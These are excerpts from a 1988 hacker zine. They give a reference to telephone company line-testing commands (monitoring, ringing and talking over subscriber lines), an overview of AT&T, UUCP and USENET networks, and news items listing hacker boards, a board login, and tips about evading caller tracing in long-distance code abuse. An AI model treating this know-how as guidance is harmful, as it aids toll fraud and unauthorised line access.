office switch. Using an MDF trunk allows you to test loops that are connect to co equipment that is not MLT-testable. Also, you can sectionalize a fault in or out of the co by testing "in" or "out" using MDF.

MDF(gr): Access a trunk from a certain mdf trunk group

MDF(gr) lets you choose the MDF trunk group from which MLT will choose an MDF trunk. Use the MDF(gr) request when the NPA-NXX that you are using has more than one frame associated with it and you can't enter cable and pair numbers. For example, to request MDF trunk group a, you should enter MDFA in the req field. To find out which trunk groups are available for your NPA-NXX you can either enter an mdf or an info request. Remember that you still have to call the frame attendant to have the trunk and line connected and also disconnect when you are finished.

Mdfin: Test the inside part of a line

Mdfin starts a series of tests that do an extensive analysis of the inside line. This includes line circuit and dial tone tests. The mdfin request uses a special line that runs from the MLT testing equipment to the MDF. You must ask the frame attendant to connect this line to the subscriber's line. Then you must enter the telephone number of this special line on the test mask along with mdfin and the subscriber's number. For more information see the mdfio module in the MLT-2 user guide.

Mdfout: Test the outside part of a line

Mdfout starts a series of tests that do an extensive analysis of the outside line. This includes the DC and AC tests. The mdfout request uses a special line that runs from the mlt testing equipment to the MDF. You must ask the frame attendant to connect this line to the subscriber's line. Then you must enter the telephone number of this special line on the test mask along with mdfin and the subscriber's number.

Mon: Monitor a subscriber's line

Mon lets you monitor a subscriber's line. Sometimes you are a better judge of whether there is noise, speech, or a recording on a line than MLT is. If you want to listen to a line to determine if one of these conditions does exist, use the mon request. You can also be automatically placed in the monitor mode by MLT in some cases. You will be put in monitor mode if you request ring, talk or psr but MLT thinks the line is busy, or if you must talk to the subscriber to run a rev, dial, or tt. A callback number is required. You can request quick, look, or full while in monitor mode.

Psr: Release a permanent signal

Psr attempts to release a permanent signal in a step-by-step central office. A permanent signal is a steady dial tone on a line. A frequent cause is a receiver that is off-hook. Psr lets you remove the permanent signal so that you can monitor for room noise. If when you monitor the line you still hear steady dial tone, you should suspect permanent signal on the line. Psr requires a callback path between your callback line and the subscriber's line. You should already have the callback path established before you enter a psr request.

Qin: Run a quick series in toward the co

Qin starts a series of tests that make a "quick" check of the loop toward the central office. It includes the same tests as quick. It can also identify a co line circuit if one is present and will report a line circuit if the DC

resistances look like one is present. An MDF access is required for a qin request. You can use qin to test special switching machines. For example, if the circuit has 2 loops connected at the frame, qin lets you look at the 2nd loop (both full & loop only test toward one loop).

Rev: Identify touch-tone polarity reversals

Rev helps you identify a touch-tone polarity reversal. On a good line, the battery is connected to the ring wire and the ground is on the tip wire. These wires must be connected to specific terminals on the telephone. If they are reversed, the subscriber will be able to receive calls but will not be able to dial out. If the line is reversed, you won't be able to hear the tones before you enter a rev request. Rev only reserves the line temporarily. A callback path should be established before you make a rev request.

Rin: Ring a subscriber's special services line

Rin lets you ring a telephone on a special services line. A callback is required. If one doesn't exist, ring in sets one up for you. To answer the callback, answer its ring and press "0" on the touch-tone pad, and listen for ringing. When the subscriber answers, you will be placed in talk mode. If the line is busy, the call in progress will be interrupted. Use rin to contact the subscriber or a technician at the subscriber's home. MDF access is required to request rin.

Ring(#): Ring a specific party on a multi-party line

Ring(#) lets you choose the telephone that you want to ring on a multiparty line. A multiparty line is one on which more than one subscriber is connected to the same pair of wires. Normally MLT checks the line records of the telephone number you enter using the ring request, and automatically rings the correct party. When the line records indicate 2, 4, or 8 party, use the ring(#) request and specify the party number in place of the "#." If you request ring1, MLT rings the party connected to the ring side. If you request ring2, MLT rings the party connected on the tip side.

Ring: Ring a subscriber's line

Ring lets you ring a telephone on a single party line. A callback path is required but if one doesn't exist, ring sets one up for you. To answer your callback, answer its ring and press "0" on the touch-tone pad, and listen for ringing. When the subscriber answers, you will be placed in talk mode. If the line is busy or cannot be rung, you will be placed in monitor mode to listen for noise or speech. Use ring to contact the subscriber or a repair person at the subscriber's home.

Ringer: Check ringer configuration on a line

Ringer counts the number of ringers on each part of the loop (tip-ring, tip-ground, and ring-ground). The results tell you the number of telephones found by MLT. If there is a problem, the summary explains the problem. If you are testing a party line, some of the ringers found may belong to the other party.

Rin: Ring a subscriber's special services line

Rin lets you ring a telephone on a special services line. A callback is required. If one doesn't exist, ring-in sets one up for you. To answer the callback, answer its ring and press "0" on the touch-tone pad, and listen for ringing. When the subscriber answers, you will be placed in talk mode. If the line is busy the call in progress will be interrupted. Listen for noise

of speech. Use rin to contact the subscriber or a technician at the subscriber's home. MDS is required to request rin.

Soak: Identify swinging resistance condition

Soak identifies unstable ground faults (swinging resistance) on a line. Voltage is applied to the line and a series of DC resistance measurements are made to see the effect of that voltage. If the resistance values are all low, the fault is probably stable. If even one value is 20% larger than the original measurement, the fault may be unstable (swinging). A repair person who is dispatched may have trouble locating a swinging fault. Use soak when you find a 10-1000 kohm ground on a q test (full & loop include the soak test), or just prior to dispatch to double-check a line's condition.

Ssa: Special services access

The ssa request is used to access non-locally switched customer telephone lines. Accessing these lines is a special case of a no-test trunk access. However, if they go through a digital loop carrier such as SLC Series 5, and there is special equipment available in the co, then you can test them with a no-test trunk special se rvices access. This means you don't have to call the trunk. The request can only be run from the stv mask.

Stv: Special services trouble verification request

The stv request changes you from a tv mask to an stv mask. Stv is used when you need to test special services circuits (non-locally switched lines) served by digital loop carrier systems such as SLC Series 5. Switching to the stv mask will not affect any information you left in the tv mask -- your status lines will remain the same; however, the middle section of the mask will be changed. Any request done from a tv mask can also be done from an stv mask, but not vice versa. The stv request can only be run from a tv mask.

Take: Take control of a long-term access

Take is used when you want to transfer a long-term access from someone else's terminal to your terminal. To take control of a no-test access, enter the telephone number that you want to transfer in the tn field. To transfer an MDF access to your terminal, enter the NPA-NXX in the tn field and the MDF number in the space to the right of the regular tn field of the tv mask. Finally, enter take in the req field. If the previous holder had a callback established, it would not be remover. If necessary, you must remove the callback using xcb and request a new callback to your telephone.

Talk: Talk over the subscriber's line

Talk lets you talk to either a subscriber or a repair person on a subscriber's line. Talk does not ring the line so there must be someone waiting to talk to you on the other end of the line. A callback path is required for the talk request but if one does not already exist, talk will set one up for you if you have a callback number entered. If the line is already accessed before the talk request, MLT enters a "t" and the last 2 digits of the callback number under the callback heading and updates the time since access. You can request quick, loop, or full while in talk mode.

Talkin: Talk over the subscriber's special services line

Talkin lets you talk to a subscriber or a repair person on a special services line. Talkin does not ring the line so there must be someone waiting to talk to you on the other end of the line. A callback path is required for the talkin request but if one does not already exist, talkin sets one up for you

if you have a callback number entered. If the line is already accessed before the talkin request, MLT enters a "t" and the last 2 digits of the callback number under the callback heading and updates the time since access. You must have an MDF access to request talkin.

Tone+: Use loud tone to help identify a pair

Tone+ puts a high amplitude tone on a line. It is used on pairs that are very long. The extra amplitude helps the repair-person hear the tone over long distances. Tone is used to help a repair person to locate the correct pair in a cable with many pairs of wires in it. Use tone+ when a repair person requests a tone on a very long pair. If you have a callback on the line, it will be placed in monitor mode. If the status line gets brighter & you get a changed state message, it means 1) The repair person found the pr & wants to talk to you or 2) The subscriber has gone off-hook.

Tone: Use tone to help craft identify a pair

Tone puts a metallic tone on a line. There may be many pairs in a single cable, making it difficult for a repair person to locate a specific line. The tone makes this job easier. Before MLT places a tone on a line it does a test. The results tell you if there is a fault on the line. If there is a callback on the line when you request a tone, it will be placed in monitor mode. If the status line gets brighter and you get a changed state message, it means either 1) The repair person found the pr & wants to talk to you or 2) The subscriber has gone off-hook.

Toneca: Use tone to help identify a cable

Toneca puts a longitudinal tone on a line. This tone helps the repair person find the cable binder group that the pair is in. The repair person finds the correct cable by listening for the tone. Because the tone can be heard on pairs other than the one you put it on, when tone or tone+ are inappropriate. If the repair person does not have time to find the cable on the first try, you can repeat the request. Before placing the tone on the line, MLT does a pretest and tells you if there is a fault on the line.

Tonein: Use tone to help a technician identify a special services pair

Tonein puts a metallic tone on a special services line. It may be difficult for a technician to locate a specific line. The tone makes this job easier. Before MLT places a tone on a line it does a pretest. An MDF access is required in order to request a tonein. If a callback is on the line when you request tonein, it is placed in monitor mode. If the status line gets brighter and you get a changed state message, it means either 1) The repair person found the pr & wants to talk to you or, 2) The subscriber has gone off-hook.

Tt: Test the subscriber's touch-tone pad

Tt checks a subscriber's touch-tone pad. It analyzes the tones produced when the subscriber presses the button before you make a tt request. You in the sequence 1 through 0. You must instruct the subscriber to press the buttons after hearing dial tone. Mlt will signal you over your headset with two beeps if the pad is good or one or no beeps if it is bad. A callback path should be established before you make a tt request. You must use a no-test trunk access to request it. You can use the ring request to contact the subscriber and set up a callback.

Tv: Trouble verification request

The tv request changes you from an stv mask to a tv mask. Tv is used when you need to do interactive testing of locally switched telephone lines, or tests using an MDF trunk. Switching to the tv mask will not affect any information you left in the stv mask -- your status lines will remain the same; however, the middle section of the mask will be changed. Any request done from a tv mask can also be done from an stv mask, but not vice versa. The request can only be run from a stv mask.

Ver##: Get definition and example of a ver code

Ver## gives you a description of the ver code that you type in place of the ##. For example, a ver22 request will give you a definition of verification code number 22 and an example of a typical set of test results that might accompany a ver code of 22. Use this request whenever you can't remember what a certain ver code means. MLT stores your tv mask when you request ver code information.

Ver: Test the entire telephone line

Ver starts a series of tests that do an extensive analysis of the entire line. This includes both the inside and outside portions. Many individual tests are run but only the ver code and summary messages are displayed. Outside, MLT checks for AC and DC faults. Inside, it checks the line circuit and dial tone.

Thanks to AT&T and the Bell Operating Companies.

Control C and The Tribunal of Knowledge

If you have any questions or comments contact:

Control C
Jack Death
Prime Suspect
The Prophet
The Urvile

Or any other member of the TOK.

==========

==Phrack Inc.==

Volume Two, Issue 18, Phile #9 of 11

The Tribunal of Knowledge presents..

A Few Things About Networks

Brought to you by Prime Suspect (TOK)

June 1, 1988

Seems like if you're into hacking you sometime or another run into using networks, whether it be Telenet, Tymnet, or one of the Wide Area Networks. One popular Network that hackers have used for some time is Arpanet. Arpanet has been around for quite a long time. There are changes made to it almost daily and the uses of it are much more than just logging into other systems. Many college students find themselves getting acquainted with Bitnet these days. Bitnet is SO new compared to other networks that it's got a lot of potential left. There is much more to it then just mail and file transfers. There are interactive uses such as the RELAY for real-time discussion with others (equivalent to a CB mode) and another popular use is the network information center to receive technical files about networking. There are many many mail addresses that are used for database searching, and subscribing to electronic magazines. You will find these same uses on other Wide Area Networks also. I will give you 3 related network areas. These three areas include: The AT&T company networks, UUCP, and Usenet cooperative networks. Please note that some of the information I gathered for this file dated back to 1986. But I tried to keep it as current as possible.

AT&T (Company Network)

AT&T has some internal networks, most of which use internally developed transport mechanisms. Their most widely used networks are UUCP and USENET, which are not limited to that corporation and which are discussed later. All internal AT&T networks support UUCP-style h1!h2!h!u source routing syntax and thus appear to the user to be UUCP. Within AT&T, UUCP links are typically over 1,200-bps dial-up telephone lines or Datakit (see below).

Among AT&T's other networks, CORNET is an internal analog phone network used by UUCP and modems as an alternative to Direct Distance Dialing (DDD). Datakit is a circuit-switched digital net and is similar to X.25 in some ways. Most of Bell Laboratories is trunked together on Datakit. On top of DK transport service, people run UUCP for mail and dkcu for remote login. In addition to host-to-host connections. Datakit supports RS232 connections for terminals, printers, and hosts. ISN is the version of Datakit supported by AT&T Information Systems. Bell Laboratories in Holmdel, New Jersey, uses ISN for internal data communication. BLICN (Bell Labs Interlocation Computing Network) is an IBM mainframe RJE network dating from the early 1970s when Programmer's Workbench (PWB) was a common version of the UNIX operating system. Many UNIX machines with PWB-style RJE links use BLICN to queue mail and netnews for other UNIX machines. A major USENET host uses this mechanism to feed news to about 80 neighbor hosts. BLICN covers Bell Laboratories installations in New Jersey, Columbus, Ohio, and Chicago, and links most computer center machines. BLN (Bell Labs Network) is an NSC Hyperchannel at Indian Hill, Chicago.

AT&T Internet is a TCP/IP internet. It is not a major AT&T network, though some of the best-known machines are on it. There are many ethernets connected

by TCP/IP over Datakit. This internet may soon be connected to the ARPA Internet.

ACCUNET is AT&T's commercial X.25 network. AT&T MAIL is a commercial service that is heavily used within AT&T Information Systems for corporate internal mail.

UUCP (Cooperative Network)

The name "UUCP," for Unix to Unix CoPy, originally applied to a transport service used over dial-ups between adjacent systems. File transfer and remote command execution were the original intent and main use of UUCP. There was an assumption that any pair of communicating machines had direct dial-up links, that is, that no relaying was done through intermediate machines. By the end of 1978, there were 82 hosts within Bell Laboratories connected by UUCP. Though remote command execution and file transfer were heavily used, there is no mention of mail in the standard reference. There was another similar network of "operational" hosts with UUCP links that were apparently outside Bell Laboratories, but still within the Bell System. The two networks intersected at one Bell Laboratory machine.

Both of these early networks differed from the current UUCP network in assuming direct connections between communicating hosts and in not having mail service. The UUCP mail network proper developed from the early networks and spread as the UUCP programs were distributed as part of the Unix system.

Remote command execution can be made to work over successive links by arranging for each job in the chain to submit the next one. There are several programs that do this: Unfortunately, they are all incompatible. There is no facility at the transport level for routing beyond adjacent systems or for error acknowledgement. All routing and end-to-end reliability support is done explicitly by application protocols implemented using the remote command execution facility. There has never been any remote login facility associated with UUCP, though the cu and tip programs are sometimes used over the same telephone links.

The UUCP mail network connects a very diverse set of machines and users. Most of the host machines run the UNIX operating system. Mail is the only service provided throughout the network. In addition to the usual uses of mail, much traffic is generated as responses to USENET news. The same underlying UUCP transport mechanisms are also used to support much of USENET.

The UUCP mail network has many problems with routing (it is one of the few major networks that uses source routing) and with its scale. Nonetheless, it is extremely popular and still growing rapidly. This is attributable to three circumstances: ease of connection, low cost, and its close relationship with the USENET news network.

Mailing lists similar to those long current on the ARPANET have recently increased in popularity on the UUCP mail network. These permit a feature that USENET newsgroups cannot readily supply: a limitation on access on a per-person basis. Also, for low-traffic discussions mailing lists are more economical, since traffic can be directed to individuals according to their specific interests.

There is no central administration. To connect to the network, one need only find one machine that will agree to be a neighbor. For people at other hosts to be able to find your host, however, it is good to be registered in the UUCP map, which is kept by the group of volunteers known as the UUCP Project. The map is posted monthly in the USENET newsgroup "comp.mail.maps". There is a directory of personal addresses on the UUCP network, although this is a commercial venture unrelated to the UUCP Project.

Each host pays for it's own links; some hosts encourage others to connect to them in order to shorten mail delivery paths.

There is no clear distinction between transport and network layers in UUCP,

and there is nothing resembling an Internet Protocol. The details of the transport protocol are undocumented (apparently not actually proprietary to AT&T, contrary to rumor, though the source code that implements the protocol and is distributed with UNIX is AT&T's trade secret).

Mail is transferred by submitting a mail command over a direct connection by the UUCP remote command execution mechanism. The arguments of the mail command indicate whether the mail is to be delivered locally on that system or resubmitted to another system. In the early days, it was necessary to guess the route to a given host and hope. The only method of acknowledgment was to ask the addressee to reply. Now there is a program (pathalias) that can compute reasonable routes from the UUCP map, and there is software that can automatically look up those routes for users.

The UUCP mail network is currently supported in North America mostly by dial-up telephone links. In Europe there is a closely associated network called EUnet, and in Japan there is JUNET.

The most common dial-up link speed on the UUCP mail network is 1,200 bps though there are still a few 300-bps links, and 2,400 bps is becoming more popular. Actually, now I believe that 1200-bps is still very common, but 2400 may be just as common, and 9600-bps is much more common than ever thought it would be in 1986. There are also many sites that use 19,200-bps for using UUCP. When systems are very close, they are sometimes linked by dedicated lines, often running at 9,600 bps. Some UUCP links are run over local-area networks such as ethernets, sometimes on top of TCP/IP (though more appropriate protocols than UUCP are usually used over such transport media, when UUCP is used it's usual point-to-point error correction code is bypassed to take advantage of the reliability of the underlying network and to improve bandwidth). Some such links even exist on long-haul packet networks.

The widespread use of more sophisticated mail relay programs (such as sendmail and MMDF) has increased reliability. Still, there are many hosts with none of these new facilities, and the sheer size of the network makes it unwieldly.

The UUCP mail network has traditionally used source code routing with a syntax like hosta!hostb!hostc!host!user. The UUCP map and pathalias have made this bearable, but it is still a nuisance. An effort is underway to alleviate the routing problems by implementing naming in the style of ARPA Internet domains. This might also allow integration of the UUCP name space into the ARPA Internet domain name space. In fact there is now an ATT.COM domain in which most hosts are only on UUCP or CSNET. Most UUCP hosts are not yet in any Internet domain, however. This domain effort is also handled by the UUCP Project and appears to be proceeding at a methodical but persistent pace.

The hardware used in the UUCP mail network ranges from small personal computers through workstations to minicomputers, mainframes and super-computers. The network extends throughout most of North America and parts of Asia (Korea and Israel). Including hosts on the related networks JUNET (in Japan) and EUnet (in Europe), there are at least 7,000 hosts on the network; possibly 10,000 or more. (EUnet and JUNET hosts are listed in the UUCP maps.) The UUCP Project addresses are:

uucp-query@cbatt.ATT.COM
cbatt!uucp-query
uucp-query@cbatt.UUCP

Much information about UUCP is published in USENET newsgroups.

USENET (Cooperative Network)

USENET began in 1980 as a medium of communication between users of two machines, one at the University of North Carolina, the other at Duke University. It has since grown exponentially to its current size of more than

2000 machines. In the process, the software has been rewritten several times, and the transport mechanisms now used to support it include not only the original UUCP links, but also X.25, ACSNET, and others.

USENET combines the idea of mailing lists as long used on the ARPANET with bulletin-board service such as has existed for many years on TOPS-20 and other systems, adding a freedom of subject matter that could never exist on the ARPANET, and reaching a more varied constituency. While chaotic and inane ramblings abound, the network is quite popular.

The USENET news network is a distributed computer conferencing system bearing some similarities to commercial conferencing systems like CompuServe, though USENET is much more distributed. Users pursue both technical and social ends on USENET. Exchanges are submitted to newsgroups on various topics, ranging from gardening to astronomy.

The name "USENET" comes from the USENIX Association. The Professional and Technical UNIX User's Group. The name UNIX is a pun on Multics, which is the name of a major predecessor operating system. (The pun indicates that, in areas where Multics tries to do many things, UNIX tries to do one thing well.) USENET has no central administration, though there are newsgroups to which introductory and other information about the network is posted monthly. USENET is currently defined as the set of hosts receiving the newsgroup news.announce. There are about a dozen hosts that constitute the backbone of the network, keeping transit times low by doing frequent transfers among themselves and with other hosts that they feed. Since these hosts bear much of the burden of the network, their administrators tend to take a strong interest in the state of the network. Most newsgroups can be posted to by anyone on the network. For others, it is necessary to mail a submission to a moderator, who decides whether to post it. Most moderators just filter out redundant articles, though some make decisions on other grounds. These newsgroup moderators form another group interested in the state of the network. Newsgroups are created or deleted according to the decisions made after the discussion in the newsgroup "news.groups".

Each host pays its own telephone bills. The backbone hosts have higher bills than most other hosts due to their long-distance links among themselves. The unit of communication is the news article. Each article is sent by a flooding routing algorithm to all nodes on the network. The transport layer is UUCP for most links, although many others are used, including ethernets, berknets, and long-haul packet-switched networks; sometimes UUCP is run on top of the others, and sometimes UUCP is not used at all.

The many problems with USENET (e.g. reader overload, old software, slow propagation speed, and high and unevenly carried costs of transmission) have raised the possibility of using the experience gained in USENET to design a new network to replace it. The new network might also involve at least a partial replacement for the UUCP mail network.

One unusual mechanism that has been proposed to support the new network is stargate. Commercial television broadcasting techniques leave unused bandwidth in the vertical blanking interval between picture frames. Some broadcasters are currently using this part of the signal to transmit Teletext services. Since many cable-television channels are distributed via geo-synchronous satellites, a single input to a satellite uplink facility can reach all of North America on an appropriate satellite and channel. A satellite uplink company interested in allowing USENET-like articles to be broadcast by satellite on a well-known cable-television channel has been found. Prototypes of hardware and software to encode the articles and other hardware to decode them from a cable-television signal have been built and tested in the field for more than a year. A new, reasonably price model of the decoding box may be available soon.

This facility would allow most compatible systems within the footprint (area of coverage) of the satellite and with access to the appropriate cable-television channel to obtain decoding equipment and hook into the network at a very reasonable cost. Articles would be submitted for transmission by UUCP links to the satellite uplink facility. Most of the technical problems of

Stargate seem to have been solved.

More than 90 percent of all USENET articles reach 90 percent of all hosts on the network within three days. Though there have been some famous bugs that caused loss of articles, that particular problem has become rare.

Every USENET host has a name. That host name and the name of the poster are used to identify the source of an article. Though those hosts that are on both the UUCP mail and USENET news networks usually have the same name on both networks, mail addresses have no meaning on USENET: Mail related to USENET articles is usually sent via UUCP mail; it cannot be sent over USENET, by definition. Though the two networks have always been closely related, there are many more hosts on UUCP than on USENET. In Australia the two networks do not even intersect except at one host.

There are different distributions of newsgroups on USENET. Some go everywhere, whereas others are limited to a particular continent, nation, state or province, city, organization, or even machine, though the more local distributions are not really part of USENET proper. The European network EUnet carries some USENET newsgroups and has another set of it's own. JUNET in Japan is similar to EUnet in this regard.

There are about 2000 USENET hosts in the United States, Canada, Australia, and probably in other countries. The hosts on EUnet, SDN, and JUNET communicate with USENET hosts: The total number of news hosts including ones on those three networks is probably at least 2500. The UUCP map includes USENET map information as annotations. A list of legitimate netwide newsgroups is posted to several newsgroups monthly. Volunteers keep statistics on the use of the various newsgroups (all 250 of them) and on frequency of posting by persons and hosts. These are posted to news.newslists once a month, as is the list of newsgroups. Important announcements are posted to moderated newsgroups, news.announce and news.announce.newusers, which are intended to reach all users (the current moderator is Mark Horton, cbosgd!mark). An address for information on the network is seismo!usenet-request.

News on UUNET - June 1988

A year ago, UUNET (Fairfax, VA) was formed to help ease the communication load of the beleaguered Usenet network of UNIX users. Usenet connections were becoming increasingly costly and difficult to maintain, a situation that prompted the Usenix Association to fund the creation of the UUNET Communications Service to assist users in accessing Usenet. Now, UUNET has become the "best connected" UNIX computer in the world, and has been authorized to function as an Arpanet mail gateway. Gateways to other networks are expected to be established in the future.

I guess all use of UUNET is done through the UUCP program found on Unix operating systems. Many people are getting PC versions of the Unix Operating system now-a-days, so knowing what's available before getting hooked into a network, if that's your plan, is advised. There is an advertisement about UUNET on Bix in the networks conference somewhere. The message may be old, but still useful.

The cost of using UUNET is: $30/month... and $2/hour. I think the hourly charge may only apply if connecting through Tymnet. Not sure.

Accessible via Tymnet, their 800 number, or a regular local POTS number.

Connections can definitely be made up to 9600 baud. 19.2K baud access may also exist. I think it does.

If you're a UUNET user, and want to receive mail from someone through the UUCP network, they would address it just as any other UUCP mail address. An example is: ...uunet!warble!joeuser

---

==========

==Phrack Inc.==

Volume Two, Issue 18, Phile #10 of 11

```
PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
PWN                                             PWN
PWN      >>>>>=-* Phrack World News *-=<<<<<     PWN
PWN                 Issue XVIII/1               PWN
PWN                                             PWN
PWN       Created, Compiled, and Written        PWN
PWN                  By: Epsilon                PWN
PWN                                             PWN
PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
```

Intro

Welcome to yet another issue of Phrack World News. We have once again returned to try and bring you an entertaining, and informative newsletter dedicated to the spread of information and knowledge throughout the H/P community.

TOK Re-Formed

A group called Tribunal Of Knowledge, which has undergone previous re-formations has once again re-formed. The person who is currently "in charge" of the group says that he had permission from High Evolutionary, the group's founder, to re-form the organization. Although the group hasn't publicly announced their existence or written any files, we should be hearing from them in the near future.

The Current Members of TOK Include -

Control C
Prime Suspect
Jack Death
The UrVile
The Prophet
Psychic Warlord

Information Provided By Control C, and Prime Suspect.

Phrack Inc. Support Boards

Phrack Inc. has always made it a habit to set up Phrack Inc. sponsor accounts on the more popular boards around. These sponsor accounts are set up, so that the users may get in touch with the Phrack Magazine staff if they would like to contribute an article, or any other information to our publication. Please take note of the boards on which Phrack Inc. accounts are set up. Thank you.

The Current List of Phrack Inc. Sponsor Boards Includes -

P-80 Systems	- 304/744-2253
OSUNY	- 914/725-4060
The Central Office	- 914/234-3260
Digital Logic's DS	- 305/395-6906
The Forgotten Realm	- 618/943-2399 *

* - Phrack Headquarters

SummerCon '88 Preliminary Planning
==================================

Planning for SummerCon '88 is underway. So far, we have decided on four tentative locations: New York City, Saint Louis, Atlanta, or Florida. Since this is only tentative, no dates have been set or reservations made for a conference.

If you have any comments, suggestions, etc, please let us know. If you are planning to attend SummerCon '88, please let us know as well. Thank you.

Information Provided By The Forgotten Realm.

LOD/H Technical Journal
=======================

Lex Luthor of LOD/H (Legion of Doom/Hackers) has been busy with school, etc., so he has not had the time, nor the initiative to release the next issue of the LOD/H Technical Journal. On this note, he has tentatively turned the Journal over to Phantom Phreaker, who will probably be taking all contributions for the Journal. No additional information is available.

Information Provided By The UrVile and Phantom Phreaker.

Congress To Restrict 976/900 Dial-A-Porn Services
===

Congress is considering proposals to restrict dial-up services in an effort to make it difficult for minors to access sexually explicit messages. A House-Senate committee is currently negotiating the "dial-a-porn" proposal. Lawmakers disagree whether or not the proposal is constitutional and are debating the issue of requiring phone companies to offer a service that would allow parents, free of charge, to block the 976/900 services. Other proposals would require customers to pay in advance or use credit cards to access the 976/900 services.

Some companies are currently offering free services that restrict minors from accessing sexually explicit messages. AT&T and Department of Justice officials are cooperating in a nationwide crackdown of "dial-a-porn" telephone companies. The FCC recently brought charges against one of AT&T's largest 900 Service customers, and AT&T provided the confidential information necessary in the prosecution. AT&T also agreed to suspend or disconnect services of companies violating the commission ban by transmitting obscene or indecent messages to minors.

Some Hope Left For Victims Of FGD
=================================

US Sprint's famed FGD (Feature Group D) dial-ups and 800 INWATS exchanges may pose no threat to individuals under switches that do not yet offer equal access service to alternate long distance carriers. Due to the way Feature Group D routes its information, the ten-digit originating number of the caller is not provided when the call is placed from a non-equal access area. The following was taken from an explanation of US Sprint's 800 INWATS Service.

****

CALL DETAIL

****

With US Sprint 800 Service, a customer will receive call detail information for every call on every invoice. The call detail for each call includes:

- Date of call
- Time of call
- The originating city and state
- The ten-digit number of the caller if the call originates in an equal access area or the NPA of the caller if the non-equal access area.
- Band into which the call falls
- Duration of the call in minutes
- Cost of the call

This came directly from US Sprint. Do as you choose, but don't depend on this.

Information Provided by US Sprint.

Telenet Bolsters Network With Encryption

Telenet Communications Corporation strengthened its public data network recently with the introduction of data encryption capability.

The X.25 Encryption Service provides a type of data security previously unavailable on any public data network, according to analysts. For Telenet, the purpose of the offering is "to be more competitive; nobody else does this," according to Belden Menkus, an independent network security consultant based in Middleville, NJ.

The service is aimed at users transmitting proprietary information between host computers, such as insurance or fund-transfer applications. It is priced at $200 per month per host computer connection. Both the confidentiality and integrity of the data can be protected via encryption.

The scheme provides end-to-end data encryption, an alternative method whereby data is decrypted and recrypted at each node in the network. "This is a recognition that end-to-end encryption is really preferable to link encryption," Menkus said.

The service is available over both dial-up and leased lines, and it supports both synchronous and asynchronous traffic at speeds up to 9.6K BPS.

Telenet has approved one particular data encryption device for use with the service, The Cipher X 5000, from Technical Communications Corporation (TCC), a Concord, Massachusetts based vendor. TCC "has been around the data encryption business for quite a while," Menkus said.

The Cipher X implements the National Bureau of Standards' Data Encryption Standard (DES). DES is an algorithm manipulated by a secret 56 bit key. Computers protected with the device can only be accessed by users with a matching key.

The data encryptor is installed at user sites between the host computer and the PAD (Packet Assembler/Disassembler).

Installation of the TCC device does not affect the user's ability to send non-encrypted data, according to Telenet. By maintaining a table of network addresses that require encryption, the device decides whether or not to encrypt each transmission.

Information Provided by Network World.

==Phrack Inc.==

Volume Two, Issue 18, Phile #11 of 11

```
PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
PWN                                             PWN
PWN      >>>>>=-* Phrack World News *-=<<<<<     PWN
PWN                 Issue XVIII/2               PWN
PWN                                             PWN
PWN          Created By Knight Lightning        PWN
PWN                                             PWN
PWN             Compiled and Written            PWN
PWN                  by Epsilon                 PWN
PWN                                             PWN
PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
```

Intro

It seems that there is yet some things to be covered. In addendum, we will be featuring, as a part of PWN, a special section where up-and-coming H/P Bulletin Boards can be advertised. This will let everyone know where the board scene stands. If you have a board that you feel has potential, but doesn't have good users, let us know. Thanks.

Doctor Cypher Busted?

Doctor Cypher, who frequents the Altos Chat, The Dallas Hack Shack, Digital Logic's Data Service, The Forgotten Realm, P-80 Systems, and others, is believed to have had his modem confiscated by "Telephone Company Security," and by his local Sheriff. No charges have been filed as of this date. He says he will be using a friend's equipment to stay in touch with the world.

Information Provided by Hatchet Molly

Give These Boards A Call

These systems have potential, but need good users, so give them a call, and help the world out.

The Autobahn -	The Outlet Private -
703/629-4422	313/261-6141
Primary - 'central'	newuser/kenwood
Sysop - The Highwayman	Sysop - Ax Murderer
Hack/Phreak	Private Hack/Phreak
Dallas Hack Shack -	The Forgotten Realm -
214/422-4307	618/943-2399
Apply For Access	Apply For Access
Sysop - David Lightman	Sysop - Crimson Death
Private Hack/Phreak	Private H/P & Phrack Headquarters

AllNet Hacking Is Getting Expensive

==========

For those of you who hack AllNet Long Distance Service, watch out. AllNet Communications Corp. has announced that they will be charging $500.00 PER ATTEMPT to hack their service. That's not PER VALID CODE, that's PER ATTEMPT. Sources say that The Fugitive (619) received a $200,000.00 phone bill from AllNet.

This may set examples for other long distance communication carriers in the future, so be careful what you do.

Editorial - What Is The Best Way To Educate New Hackers?

Since the "demise" of Phreak Klass 2600 and PLP, the H/P world has not seen a board dedicated to the education of new hackers. Although PK2600 is still up (806/799-0016, educate) many of the old "teachers" never call. The board has fallen mainly to new hackers who are looking for teachers. This may pose a problem. If boards aren't the way to educate these people (I think they are the best way, in fact), then what is? Certainly not giant Alliance conferences as in the past, due to recent "black-listing" of many "conferees" who participated heavily in Alliance Teleconferencing in the past.

I think it might be successful if someone was able to set up another board dedicated to teaching new hackers. A board which is not private, but does voice validate the users as they login. Please leave some feedback as to what you think of this idea, or if you are willing to set this type of system up. Thanks.

US Sprint Employee Scam

The US Sprint Security Department is currently warning employees of a scam which could be affecting them. An unidentified man has been calling various employees throughout the US Sprint system and telling them that if they give him their FON Card numbers, they will receive an additional US Sprint employee long-distance credit. The Security Department says, "this is a 100 percent scam." "If you're called to take part in this operation, please call the Security Department at (816)822-6217."

Information Provided By US Sprint
